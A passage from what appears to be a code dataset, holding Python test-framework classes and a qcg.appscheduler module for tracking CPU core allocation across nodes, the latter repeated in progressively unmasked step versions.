False\n\n @property\n def hasFailed(self):\n for name in (\"suiteSetUp\", \"setUp\", \"run\"):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in (\"setUp\", \"run\"):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n\n return False\n\n @property\n def phaseRecord(self):\n \"\"\"Get the most recent phaseRecord.\n\n This is used to get the most pertinent record for this test; i.e. the\n one that provides the most useful result for the test.\n\n TODO: This is not yet well defined.\n\n \"\"\"\n for name in (\"tearDown\", \"run\", \"setUp\"):\n try:\n return name, self._records[name]\n except KeyError:\n pass\n #return None, None\n seq = self._records.get(\"suiteSetUp\", None)\n if seq is None:\n return None, None\n for ent in seq.entries:\n if ent.hasFailed:\n return \"suiteSetUp\", ent\n return \"suiteSetUp\", seq.entries[0]\n\n def getStepRecord(self, phase):\n \"\"\"Get the record details for a test run phase.\"\"\"\n ent = self._records.get(phase, None)\n if hasattr(ent, \"append\"): # Yurk!\n seq = ent\n for ent in seq:\n if ent.hasFailed:\n return ent\n return seq.entries[0]\n if hasattr(ent, \"entries\"): # Double yurk!\n seq = ent.entries\n for ent in seq:\n if ent.hasFailed:\n return ent\n if seq:\n return seq[0]\n return\n return ent\n\n\nclass TestItem:\n \"\"\"Base class for `Test` and `Suite` classes.\n\n \"\"\"\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n\n # TODO: To remove.\n def setPhase(self, phase):\n self._phase = phase\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n # TODO: Temporarily disabled.\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n\n def _getNamespace(self, namespace=None):\n return namespace or dict([(n, getattr(self.item, n))\n for n in dir(self.item)])\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace[\"__doc__\"]\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [\"\"] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return \"\\n\".join(self.docLines)\n\n def _getDocParts(self):\n # Lose leading blank lines.\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n\n # All lines up to next blank line are the summary.\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n\n # Strip leading and trailing blank lines from the remaining details.\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n\n # Dedent the summary and details before returning them.\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return \" \".join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get(\"sources_under_test\", []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get(\"__file__\", None)\n if p is None:\n return self.parent.path\n if p.endswith(\".pyc\"):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = \"Test\"\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord(\"run\")\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n flag = self.info.reserved_cs_flags.get(\"broken\", None)\n if flag is None:\n flag = self.info.cs_flags.get(\"broken\", False) # deprecated\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n return self.info.cs_flags.get(\"todo\", False)\n\n @property\n def isBug(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n flag = self.info.reserved_cs_flags.get(\"bug\", None)\n if flag is None:\n flag = self.info.cs_flags.get(\"bug\", False) # deprecated\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, \"info\"):\n raise PropertyError(\"%r has no attribute %r\" % (\n self.__class__.__name__, \"info\"))\n if self.info.reserved_cs_flags.get(\"fork\", False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get(\"testID\", None)\n\n @property\n def title(self):\n return self.info.cs_flags.get(\"title\", None)\n\n @property\n def isRunnable(self):\n #if self.isBroken and not options.no_disabled:\n # return False\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n # TODO: Should now be StepRecord.\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = \"Suite\"\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop(\"myDir\")\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get(\"_run_after\", [])\n\n @property\n def postCheck(self):\n return self.namespace.get(\"postCheck\", lambda: None)\n\n @property\n def setUp(self):\n return self.namespace.get(\"setUp\", lambda: None)\n\n @property\n def postSetUp(self):\n return self.namespace.get(\"postSetUp\", lambda: None)\n\n @property\n def tearDown(self):\n return self.namespace.get(\"tearDown\", lambda: None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get(\"suiteSetUp\", lambda: None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get(\"suiteTearDown\", lambda: None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n # Deprecated. Only used for old reporter support.\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\ndef enter_pdb():\n \"\"\"Enter the python debugger.\"\"\"\n import sys, pdb\n sys.stdout, sys.stderr = sys.__stdout__, sys.__stderr__\n pdb.set_trace()\n", "step-ids": [ 33, 64, 81, 104, 122 ] }
[ 33, 64, 81, 104, 122 ]
from qcg.appscheduler.errors import * class Node: def __init__(self, name=None, totalCores=0, used=0): self.__name = name self.__totalCores = totalCores self.__usedCores = used self.resources = None def __getName(self): return self.__name def __getTotalCores(self): return self.__totalCores def __setTotalCores(self, total): assert total >= 0 and total >= self.__usedCores self.__totalCores = total def __getUsedCores(self): return self.__usedCores def __setUsedCores(self, used): assert used > 0 and used <= self.__totalCores self.__usedCores = used def __getFreeCores(self): return self.__totalCores - self.__usedCores def __str__(self): return "%s %d (%d used)" % (self.__name, self.__totalCores, self.__usedCores) """ Allocate maximum number of cores on a node. Args: cores (int): maximum number of cores to allocate Returns: int: number of allocated cores """ def allocate(self, cores): allocated = min(cores, self.free) self.__usedCores += allocated if self.resources is not None: self.resources.nodeCoresAllocated(allocated) return allocated """ Release specified number of cores on a node. Args: cores (int): number of cores to release Raises: InvalidResourceSpec: when number of cores to release exceeds number of of used cores. """ def release(self, cores): if cores > self.__usedCores: raise InvalidResourceSpec() self.__usedCores -= cores if self.resources is not None: self.resources.nodeCoresReleased(cores) name = property(__getName, None, None, "name of the node") total = property(__getTotalCores, __setTotalCores, None, "total number of cores") used = property(__getUsedCores, __setUsedCores, None, "number of allocated cores") free = property(__getFreeCores, None, None, "number of available cores") class Resources: def __init__(self, nodes=None): self.__nodes = nodes if self.__nodes is None: self.__nodes = [] for node in self.__nodes: node.resources = self self.__totalCores = 0 self.__usedCores = 0 # print "initializing %d nodes" % len(nodes) self.__computeCores() def __computeCores(self): total, used = 0, 0 for node in self.__nodes: total += node.total used += node.used self.__totalCores = total self.__usedCores = used def __getNodes(self): return self.__nodes def __getTotalCores(self): return self.__totalCores def __getUsedCores(self): return self.__usedCores def __getFreeCores(self): return self.__totalCores - self.__usedCores """ Function called by the node when some cores has been allocated. This function should track number of used cores in Resources statistics. Args: cores (int): number of allocated cores """ def nodeCoresAllocated(self, cores): self.__usedCores += cores """ Function called by the node when some cores has been released. This function should track number of used cores in Resources statistics. Args: cores (int): number of released cores """ def nodeCoresReleased(self, cores): self.__usedCores -= cores """ Relase allocated resources. Args: alloc (Allocation): allocation to release Raises: InvalidResourceSpec: when number of cores to release on a node is greater than number of used cores. """ def releaseAllocation(self, alloc): for node in alloc.nodeAllocations: node.node.release(node.cores) def __str__(self): header = '%d (%d used) cores on %d nodes\n' % (self.__totalCores, self.__usedCores, \ len(self.__nodes)) return header + '\n'.join([str(node) for node in self.__nodes]) # if self.__nodes: # for node in self.__nodes: # result.join("\n%s" % node) # return result def nNodes(self): return len(self.__nodes) nodes = property(__getNodes, None, None, "list of a nodes") totalNodes = property(nNodes, None, None, "total number of nodes") totalCores = property(__getTotalCores, None, None, "total number of cores") usedCores = property(__getUsedCores, None, None, "used number of cores") freeCores = property(__getFreeCores, None, None, "free number of cores")
normal
{ "blob_id": "23a7aa6b9a98bfd4fd43fea1ecfa26cb44969804", "index": 8061, "step-1": "<mask token>\n\n\nclass Node:\n <mask token>\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n <mask token>\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n <mask token>\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n", "step-2": "<mask token>\n\n\nclass Node:\n <mask token>\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n", "step-3": "<mask token>\n\n\nclass Node:\n\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n <mask token>\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n <mask token>\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n self.__usedCores -= cores\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n name = property(__getName, None, None, 'name of the node')\n total = property(__getTotalCores, __setTotalCores, None,\n 'total number of cores')\n used = property(__getUsedCores, __setUsedCores, None,\n 'number of allocated cores')\n free = property(__getFreeCores, None, None, 'number of available cores')\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n", "step-4": "from qcg.appscheduler.errors import *\n\n\nclass Node:\n\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return '%s %d (%d used)' % (self.__name, self.__totalCores, self.\n __usedCores)\n \"\"\"\n Allocate maximum number of cores on a node.\n\n Args:\n cores (int): maximum number of cores to allocate\n\n Returns:\n int: number of allocated cores\n \"\"\"\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n return allocated\n \"\"\"\n Release specified number of cores on a node.\n\n Args:\n cores (int): number of cores to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release exceeds number of of\n used cores.\n \"\"\"\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n self.__usedCores -= cores\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n name = property(__getName, None, None, 'name of the node')\n total = property(__getTotalCores, __setTotalCores, None,\n 'total number of cores')\n used = property(__getUsedCores, __setUsedCores, None,\n 'number of allocated cores')\n free = property(__getFreeCores, None, None, 'number of available cores')\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n for node in self.__nodes:\n node.resources = self\n self.__totalCores = 0\n self.__usedCores = 0\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores,\n self.__usedCores, len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n def nNodes(self):\n return len(self.__nodes)\n nodes = property(__getNodes, None, None, 'list of a nodes')\n totalNodes = property(nNodes, None, None, 'total number of nodes')\n totalCores = property(__getTotalCores, None, None, 'total number of cores')\n usedCores = property(__getUsedCores, None, None, 'used number of cores')\n freeCores = property(__getFreeCores, None, None, 'free number of cores')\n", "step-5": "from qcg.appscheduler.errors import *\n\n\nclass Node:\n def __init__(self, name=None, totalCores=0, used=0):\n self.__name = name\n self.__totalCores = totalCores\n self.__usedCores = used\n self.resources = None\n\n def __getName(self):\n return self.__name\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __setTotalCores(self, total):\n assert total >= 0 and total >= self.__usedCores\n self.__totalCores = total\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __setUsedCores(self, used):\n assert used > 0 and used <= self.__totalCores\n self.__usedCores = used\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n def __str__(self):\n return \"%s %d (%d used)\" % (self.__name, self.__totalCores, self.__usedCores)\n\n \"\"\"\n Allocate maximum number of cores on a node.\n\n Args:\n cores (int): maximum number of cores to allocate\n\n Returns:\n int: number of allocated cores\n \"\"\"\n\n def allocate(self, cores):\n allocated = min(cores, self.free)\n self.__usedCores += allocated\n\n if self.resources is not None:\n self.resources.nodeCoresAllocated(allocated)\n\n return allocated\n\n \"\"\"\n Release specified number of cores on a node.\n\n Args:\n cores (int): number of cores to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release exceeds number of of\n used cores.\n \"\"\"\n\n def release(self, cores):\n if cores > self.__usedCores:\n raise InvalidResourceSpec()\n\n self.__usedCores -= cores\n\n if self.resources is not None:\n self.resources.nodeCoresReleased(cores)\n\n name = property(__getName, None, None, \"name of the node\")\n total = property(__getTotalCores, __setTotalCores, None, \"total number of cores\")\n used = property(__getUsedCores, __setUsedCores, None, \"number of allocated cores\")\n free = property(__getFreeCores, None, None, \"number of available cores\")\n\n\nclass Resources:\n\n def __init__(self, nodes=None):\n self.__nodes = nodes\n if self.__nodes is None:\n self.__nodes = []\n\n for node in self.__nodes:\n node.resources = self\n\n self.__totalCores = 0\n self.__usedCores = 0\n\n #\t\tprint \"initializing %d nodes\" % len(nodes)\n self.__computeCores()\n\n def __computeCores(self):\n total, used = 0, 0\n for node in self.__nodes:\n total += node.total\n used += node.used\n\n self.__totalCores = total\n self.__usedCores = used\n\n def __getNodes(self):\n return self.__nodes\n\n def __getTotalCores(self):\n return self.__totalCores\n\n def __getUsedCores(self):\n return self.__usedCores\n\n def __getFreeCores(self):\n return self.__totalCores - self.__usedCores\n\n \"\"\"\n Function called by the node when some cores has been allocated.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of allocated cores\n \"\"\"\n\n def nodeCoresAllocated(self, cores):\n self.__usedCores += cores\n\n \"\"\"\n Function called by the node when some cores has been released.\n This function should track number of used cores in Resources statistics.\n\n Args:\n cores (int): number of released cores\n \"\"\"\n\n def nodeCoresReleased(self, cores):\n self.__usedCores -= cores\n\n \"\"\"\n Relase allocated resources.\n\n Args:\n alloc (Allocation): allocation to release\n\n Raises:\n InvalidResourceSpec: when number of cores to release on a node is greater \n than number of used cores.\n \"\"\"\n\n def releaseAllocation(self, alloc):\n for node in alloc.nodeAllocations:\n node.node.release(node.cores)\n\n def __str__(self):\n header = '%d (%d used) cores on %d nodes\\n' % (self.__totalCores, self.__usedCores, \\\n len(self.__nodes))\n return header + '\\n'.join([str(node) for node in self.__nodes])\n\n #\t\tif self.__nodes:\n #\t\t\tfor node in self.__nodes:\n #\t\t\t\tresult.join(\"\\n%s\" % node)\n #\t\treturn result\n\n def nNodes(self):\n return len(self.__nodes)\n\n nodes = property(__getNodes, None, None, 